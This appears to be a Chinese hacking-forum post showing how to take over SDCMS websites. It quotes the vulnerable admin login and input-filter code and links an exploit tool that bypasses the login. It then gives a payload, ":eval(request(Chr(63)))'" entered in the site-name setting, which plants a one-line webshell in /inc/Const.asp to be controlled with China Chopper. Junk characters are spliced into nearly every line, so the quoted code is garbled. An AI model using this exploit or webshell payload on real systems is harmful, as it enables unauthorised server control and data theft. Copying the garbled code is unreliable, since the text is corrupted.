作者:T00LS 鬼哥( m2 X, a$ I4 J( U, I
漏洞文件:后台目录/index.asp
0 h) D7 \+ h5 \' K; a( q5 O& l. _
/ r6 J, l0 A7 F% PSub Check
2 \9 Z. Q0 a7 z2 a Dim username,password,code,getcode,Rs
D& C; v0 n- a6 W5 Y# f& g. U3 b6 | IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub# A; x+ b2 x6 X3 ^- v- f
username=FilterText(Trim(Request.Form("username")),1)
, g" M8 b! R" b& b, F% Y* H) | password=FilterText(Trim(Request.Form("password")),1): o# d: \0 S" N1 `9 U! v( \
code=Trim(Request.Form("yzm"))! j, \& @8 j1 Q; }+ T& q; S
getcode=Session("SDCMSCode"); ~9 v$ w2 C& J
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
. U: f$ j. q/ b1 Q+ @ IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied
( a" Q7 j3 v1 K& }" q3 x IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
- s* A; C5 C7 d7 q1 M IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied. G) n2 D2 b }2 j* I) `( p
IF username="" or password="" Then! D: S; r1 Y' Y) R5 k0 W% k
Echo "用户名或密码不能为空" ied
, X8 g$ ?' v7 ^% D. M) [ Else& w1 j& T2 d% g
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
9 d# @, i. M9 X% ?4 m IF Rs.Eof Then! Z9 Y( \6 V3 T/ v: Y
AddLog username,GetIp,"登录失败",1 L0 V# V+ U7 E2 m/ f
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
% y. s* H( D0 X* s Else
8 B% W& P: ]4 }4 G2 L& U Add_Cookies "sdcms_id",Rs(0)
- A7 e+ E; B% J0 A* O! s' t7 R7 k Add_Cookies "sdcms_name",username, R A* G$ S- d. c2 M* G( y
Add_Cookies "sdcms_pwd",Rs(2)* E; F8 O/ D; j! _0 D) H
Add_Cookies "sdcms_admin",Rs(3)9 o! J' y9 ^* v( S9 G; V7 Y
Add_Cookies "sdcms_alllever",Rs(4)% W; v/ Z8 H3 @( Y, D3 j
Add_Cookies "sdcms_infolever",Rs(5)+ }( K5 ?$ e$ |& r" ^3 b( i, t
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")9 E3 L4 N2 `0 g; r1 t. O2 z# P
AddLog username,GetIp,"登录成功",11 v' j: ~, A: D: r& L
'自动删除30天前的Log记录
9 |% ^ ]- `# K' _! I IF Sdcms_DataType Then7 f) G: T" I* O2 k6 B3 Q+ V
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
0 D$ u( y1 l* C9 `7 R. L Else8 Z0 m4 s+ t8 }
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
0 c9 S; o5 O c( j7 p" L End IF- ]6 F. |6 `8 L( F
Go("sdcms_index.asp")
4 K! @& H9 u% j u# u G End IF
6 M+ H Q# L8 z Rs.Close# z8 N. z4 n0 J' o# |/ e; S
Set Rs=Nothing$ e9 M1 Q5 j3 T4 V
End IF1 _" D' s8 H+ J
End Sub3 H1 {8 b" ?; s
" `7 l7 [& H8 W' R
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码5 M9 e4 C2 e1 B5 g. g. Q
: F0 f+ n# f0 B4 e
Function FilterText(ByVal t0,ByVal t1)
" U) a D: U9 h, O% A* Y IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
# i- `4 j" U% D. A! j t0=Trim(t0)
( r! ~$ e' L- K6 }( Q) I( Z( Q1 h Select Case t1
1 I0 G$ J& F8 X" I0 p Case "1"
- W5 k- ^: y* e: u2 V8 h/ A' Q t0=Replace(t0,Chr(32),"")) N1 x$ p3 R0 D% r& \* }- R3 {
t0=Replace(t0,Chr(13),"")
( s$ Y5 k$ p" ~: k( Q, j t0=Replace(t0,Chr(10)&Chr(10),"")# W' ^* B0 i2 w. q2 C
t0=Replace(t0,Chr(10),"")# b2 c, h2 J" M( f, { P) J& r
Case "2"6 h* F) l% C, E( R8 l5 d8 E
t0=Replace(t0,Chr(8),"")'回格
/ [* ?6 D/ k6 d | t0=Replace(t0,Chr(9),"")'tab(水平制表符)
9 A1 z( y1 ^; j" e0 W- [ t0=Replace(t0,Chr(10),"")'换行
( K8 k/ G+ |' h% @& F t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
* A9 S4 L/ }5 { t0=Replace(t0,Chr(12),"")'换页* y% N4 E& I, l: K
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
) | M* e' @8 [' U4 u. {3 j$ \ t0=Replace(t0,Chr(22),"")
, d1 M( J3 r t7 l. \ t0=Replace(t0,Chr(32),"")'空格 SPACE
& m5 K8 t4 A8 f! N3 f) z t0=Replace(t0,Chr(33),"")'!
3 n2 O# I- T3 W" h4 b8 I3 y0 {* Q1 f t0=Replace(t0,Chr(34),"")'"
0 e# ]+ G: o: N, h3 z. [* S t0=Replace(t0,Chr(35),"")'#6 C2 k" o6 W# v$ a. S! U
t0=Replace(t0,Chr(36),"")'$( s- |/ e( E9 p% m0 X7 K3 ~
t0=Replace(t0,Chr(37),"")'%. _( \3 Y m/ }. T ]+ y# Y' n
t0=Replace(t0,Chr(38),"")'&
# v& T$ J# \) w8 |0 Z4 d0 j; I t0=Replace(t0,Chr(39),"")''
2 c( w' Q' z. w t0=Replace(t0,Chr(40),"")'(
0 }6 i3 x# S) d- B8 q! B. s t0=Replace(t0,Chr(41),"")')
7 k" O5 G2 X4 @ t0=Replace(t0,Chr(42),"")'*
& d0 P' }& t0 L% x! g t0=Replace(t0,Chr(43),"")'+ E" a7 ?# S/ _0 b7 }0 d3 s g( p1 I
t0=Replace(t0,Chr(44),"")',+ I6 Y$ u: B# O8 r, `4 x
t0=Replace(t0,Chr(45),"")'-6 Y6 Z5 Z" g- q P
t0=Replace(t0,Chr(46),"")'.( Y/ d0 K0 E$ v" j3 u7 b
t0=Replace(t0,Chr(47),"")'/! q( b" u. i7 e9 r
t0=Replace(t0,Chr(58),"")':
# A+ H: _2 E+ B4 G t0=Replace(t0,Chr(59),"")';. K7 A/ `9 ^$ {6 ]4 p/ p
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>8 w, `5 Y' g# V% f
t0=Replace(t0,Chr(63),"")'?
D0 Q- w: q1 f. r t0=Replace(t0,Chr(64),"")'@) k7 q/ K$ L9 A6 g: s. |) |7 V
t0=Replace(t0,Chr(91),"")'\1 K8 M4 C9 Y H2 G
t0=Replace(t0,Chr(92),"")'\5 ?5 g+ Q# ~1 F& h: s+ Y! s
t0=Replace(t0,Chr(93),"")']
( u7 ^' ~( {4 U* ^6 i) N/ I t0=Replace(t0,Chr(94),"")'^* e! y. q8 p7 z
t0=Replace(t0,Chr(95),"")'_* B) X1 T. b% x2 t
t0=Replace(t0,Chr(96),"")'`4 a* {9 e0 e1 {" f$ o5 A9 Q, b
t0=Replace(t0,Chr(123),"")'{
' T9 C/ L* k% y7 x0 S' v t0=Replace(t0,Chr(124),"")'|
( w$ s" I! p, ^4 v# M) L" X/ h t0=Replace(t0,Chr(125),"")'}
( D6 _1 x) p" t" }4 f& w t0=Replace(t0,Chr(126),"")'~
; F' e8 p W/ W$ S3 H! S; x1 A Case Else
( ?6 ~6 d# ]; ?7 \; {$ N t0=Replace(t0, "&", "&")
) A4 A0 ?" N1 ~$ C( o" X0 S9 r; M t0=Replace(t0, "'", "'")
5 z. h3 q: y, y m3 _ k; X t0=Replace(t0, """", """)
" T2 ~2 m9 X9 X t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
! N+ K# Q( n, D: E5 f; ` End Select ~& C7 [4 \6 F
IF Instr(Lcase(t0),"expression")>0 Then3 s9 j! t- G7 G% |! H+ {
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
! W1 j$ s, y5 F+ \% X End If; X+ k# b. W1 {
FilterText=t0
" h' _+ D8 E; M+ Q$ YEnd Function
. W0 k9 o4 O w7 @
6 a) O) l8 |. V% Q7 p' T k看到没。直接参数是1 只过滤+ C7 D2 n) d. o! H! d
t0=Replace(t0,Chr(32)," ")
2 K2 Y# o* t/ `& A# P t0=Replace(t0,Chr(13),"")4 m7 M- p J* y9 N
t0=Replace(t0,Chr(10)&Chr(10),"
$ y- ~- p7 r3 D: |")
6 u7 F2 e1 j* p% ] t0=Replace(t0,Chr(10),"
" m1 I# T! L3 a' i")
3 U5 ^$ J% K3 v% R: Q0 v2 @漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!5 I2 |* X/ w5 ?
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
. C: @& e8 K- U( x; ?5 [0 t" f1 S2 q: _
测试:! [% ?* P2 B; }/ p$ I. t$ W7 w
% ?* ~& _; m5 v5 D: U. I& c! s" A) Y
. ]5 r" d" k% \, M+ G* G
现在输入工具上验证码,然后点OK1 }5 j) m8 g+ L) ]' G: g B
& Y4 s% R0 f' ~7 U F% f0 u9 Z
# L2 {- M; z4 ^8 G$ S' w看到我们直接进入后台管理界面了,呵呵!
) w2 R$ y6 i" S- m) z
! W6 p: f H% n1 a4 h; d8 ?) d- c" n7 t6 J) o4 ^
) G4 A" x6 N; A$ N$ U这样直接进入后台了。。。。7 c. z" y% R) i# } n4 s
" `5 G) ^/ O: \6 v6 b2 \
" Q1 |( C* Q7 V; F1 F
- @. C3 d" i8 q7 `9 J+ lSDCMS提权:
& {0 u ?2 C" Y8 j& z3 R) P1 G# K! s
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
% ~: z E# N! b8 a, J* `# v/ I4 ^. i) A
$ m+ L. U) g8 V/ B/ U
# c; c( _$ X! P+ w( d& cOK,现在用菜刀连接下!5 |2 d! l8 J2 B5 a0 P) |1 Q
$ L6 u- `/ d! `8 M# O8 |
' l% {+ d* R$ y4 }1 W4 d' B, r1 _( p) A5 i, r2 k. _
! I- ]" N$ u$ i8 j I+ |2 r
- z9 C$ ~* V/ l/ } |